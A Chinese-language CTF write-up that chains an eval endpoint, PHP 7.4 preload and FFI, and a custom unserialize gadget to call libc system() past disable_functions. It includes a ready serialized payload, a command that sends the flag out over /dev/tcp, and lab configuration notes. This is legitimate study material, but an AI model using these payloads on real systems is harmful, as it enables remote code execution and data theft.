考点

  1. php-7.4 新特性 preload
  2. 在预加载文件中使用PHP FFI特性
  3. 反序列化

题解

打开题目,是很简单的源码:

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

越简单越搞事,所以先看一下phpinfo信息:

1
?a=phpinfo();

可以看到的是php的版本很高:7.4.0-dev

4

另外一个是disable_function信息:

1

在这里过滤掉了我们常用的命令执行的函数,但是没有过滤scandir,那就用这个函数来看一下其他文件信息。

1
?a=var_dump(scandir("."));

2

有一个preload.php文件,看一下里面是啥:

1
?a=highlight_file("preload.php");

得到preload.php,该文件就是opcache.preload指定的preload文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

然后我本来还想再确定一些flag文件在哪里的,所以看了下根目录/

1
?a=var_dump(scandir("/"));

结果发现因为设置了open_basedir路径,所以无法读取除了/var/www/html目录以外的文件。

3

其实这些信息最好在刚才查看phpinfo信息的时候就收集好。所以重新收集一下本关需要的phpinfo信息(看其他的大佬写的wp):

1
2
3
4
5
6
php version: 7.4.0-dev
FFI support: enabled
opcache.preload: /var/www/html/preload.php
open_basedir: /var/www/html
disable_classes: ReflectionClass
disable_functions: set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

opcache.preloadPHP 7.4中的重量级特性,也就是我们说的预加载。在这之前,需要先了解下opcache是什么东西。

我们学习过一些高级语言,比如C/C++、Java、ASP、C#以及世界上最好的语言PHP(逃走),这些语言可以分为两种:解释型语言编译型语言

编译型语言,也就是用对应的编译器,将高级语言一次翻译成对应平台硬件下可执行的机器码(机器指令和操作数),并且打包成可执行文件,这样就能在多个平台上运行,也就是一人挖井,众人吃水就行了,C/C++就是属于编译型语言。

而解释型语言,就是在程序运行前将源程序预编译成中间语言(中间码),然后再由解释器执行中间语言。解释型语言的缺点就是,每次执行程序都需要重新编译,所以运行效率就降低了,而且不能脱离解释器单独执行,就像Java语言依赖于JVM(但其实Java不能简单的说就是解释型语言,因为所有的Java代码都是需要编译的),PHP依赖于Zend引擎。而且因为需要重新编译,所以相比于编译型语言,解释型语言通常会占用更多的内存和CPU资源。C#、PHP都是解释型语言。

总结下两者的区别,也就是,编译型语言是在执行程序之前由编译器将代码一条一条编译成硬件能懂的机器语言,所以运行速度也会很快;而解释型语言是先进行预编译,生成中间码,然后在执行程序时,由解释器一条一条地将中间码解释为机器语言(按照执行顺序进行),因此速度慢,消耗计算机资源多。对于PHP来说,中间码就是opcode(也被称为操作码),解释器就是Zend引擎,它会将opcode翻译成计算机能懂的机器指令,因此执行效率就下降了。

比如我们有一段PHP代码:

1
2
3
4
5
<?php
$a = 1;
$b = 2;
echo $a + $b;
?>

php是这样去执行这段代码的:

zend

主要分为四个部分:

1
2
3
4
Lexicon scan: 词法分析阶段,将PHP代码转换为语言片段(Tokens)
Parse: 将Tokens转换为简单有意义的表达式
Create Opcode: 预编译阶段,将上述表达式预编译成中间码Opcode
Process Opcode: 一条一条地按照顺序执行opcode

上面扯了这么多,其实重点就是PHP作为一种解释型语言,在执行效率和资源占用上面有缺点。为了缓解这个缺点,开发者就想,因为有一些代码是会被重复执行的,在一定时间内可能都不会发生改变,那么如果对这些中间码进行缓存,那么就可以节省掉很多执行时间并减少资源占用。这就是opcache的由来了。

下面这张图就是opcache的工作原理:

php-opcache

可以看到,在执行完create opcode之后,会将其放入cache(共享内存)中。用户再次请求时,如果该php代码片段在cache中,如果用户再次请求该代码片段命中,直接取出该opcode,进行进行执行,从节省了词法分析,预编译生成opcode的时间,提升了性能。

更具体的信息可以参考鸟哥的文章:

深入理解PHP原理之Opcodes

因为opcache带来的新优势,在现实的生产环境中,基本都会选择开启opcode,但是opcache也并非十全十美。虽然消除了编译开销,但是opcache无法解决跨文件依赖问题。举个例子来说明,Class A是继承自Class B的,但是这两个类被存储在不同的php文件中,那么在执行时仍然需要将它们链接在一起,因为每个php文件的编译和缓存都是独立于其他文件的。并且我们仍然需要检查php源文件是不是被修改了,如果是,那么原先的opcache就失效了。为了解决这个问题,php开发者们就又提出了新的机制——preload(预加载)

preload的灵感来自于为Java HotSpot VM设计的Class Data Sharing(类数据共享)技术。preload不仅仅可以将源文件编译成为opcode,还可以将相关的class,interface链接在一起,然后将这个编译后的可执行代码保存在内存中(opcache是保存opcode)。当用户向服务器发起请求时,就从内存中取出这部分可执行代码进行执行。

更具体的信息可以参考文章:

  1. RFC preload
  2. Preloading in PHP7.4
  3. github issue #3538: An attempt to implemnt “preloading” ability

在preload的rfc手册可以看到 https://wiki.php.net/rfc/preload#future_scope

5

当与ext/FFI一起使用时,只允许在preload的PHP文件中使用FFI功能,而不允许在常规的PHP文件中使用。因为FFI能够直接调用相对底层的C语言库函数,所以具有一定的危险性。

FFI全称为Foreign Function interface,在 https://wiki.php.net/rfc/ffi 中对FFI的描述为:

For PHP, FFI opens a way to write PHP extensions and bindings to C libraries in pure PHP.

也就是说,对于PHP,FFI提供了一种用PHP编写PHP扩展并绑定到C函数库的方法。

查看手册,我们可以看到FFI::cdef函数最多接受两个参数,第二个参数$lib是可选的:

7

在官网上有一些调用c lib函数的例子

1
2
3
4
5
6
7
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is regular C declaration
"libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

这里在命令行测试一下,确实是执行成功了:

8

这里没有.so文件也是可以成功执行,可以看到官方手册给出的解释是因为:

If lib is omitted, platforms supporting RTLD_DEFAULT attempt to lookup symbols declared in code in the normal global scope. Other systems will fail to resolve these symbols.

引用下mochazz师傅的说法就是:

$lib参数为空时,默认为RTLD_DEFAULT, 程序会按照默认共享库的顺序,从中搜索 system 函数第一次出现的地方并使用。搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),所以应该是这些搜索范围中存在可调用的 system 函数。

既然利用FFI可以调用C函数,那么我们就可以将$data['func']设置为FFI::cdef$data['arg']设置为int system(char *command);来执行系统命令。

6

class A implements Serializable表明类A实现了自定义的对象反序列化方法。

preload.php中还引入了两个新的魔术方法:__serialize__unserialize。这也是在php 7.4中新引入的特性,具体可以参考:https://wiki.php.net/rfc/custom_object_serialization 。但在本题中这个特性没啥用处,等到有时间了可以好好研究一下。

payload(接口Serializable必须实现方法serialize()unserialize()):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}

$obj_A = new A();
echo serialize($obj_A);
// C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}

最后的payload就是:

1
2
3
4
5
// 列出根目录下的文件
?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__get('ret')->system('bash -c "ls /"');

// 读取flag
?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/ip/port"');

这道题最奇葩的是我卡在了反弹shell这里,所以到最后我也没拿到最后的flag。。。唉,还是太菜了。。。

虽然最后卡在了这里,但是总体来讲收获还是颇丰的。

踩坑记录

除了上面没有实现的反弹shell之外,在学习PHP 7.4的FFI新特性时,想要自己搭建一个环境来复现一下这个环境,然后就要修改php.ini文件,下面这是测试之后发现必须要配置的几个选项:

1
2
3
4
5
6
7
8
9
10
11
12
[opcache]
opcache.enable=1
opcache.error_log=/tmp/opcache.log
opcache.preload=/var/www/html/preload.php
opcache.preload_user=www-data

[ffi]
; FFI API restriction. Possible values:
; "preload" - enabled in CLI scripts and preloaded files (default)
; "false" - always disabled
; "true" - always enabled
ffi.enable=1

一般来说,opcache.preload不允许是root用户。还有一个点就是ffi.enable要设置为1,如果是false,肯定不支持preload功能,但是设置为preload也是不够的,当ffi.enable=preload时,仅仅支持在命令行运行,在web端是无法成功利用ffi功能的。

好像今年12月PHP 8就要发布了,而不再发布PHP 7.5,蹲一波新的特性。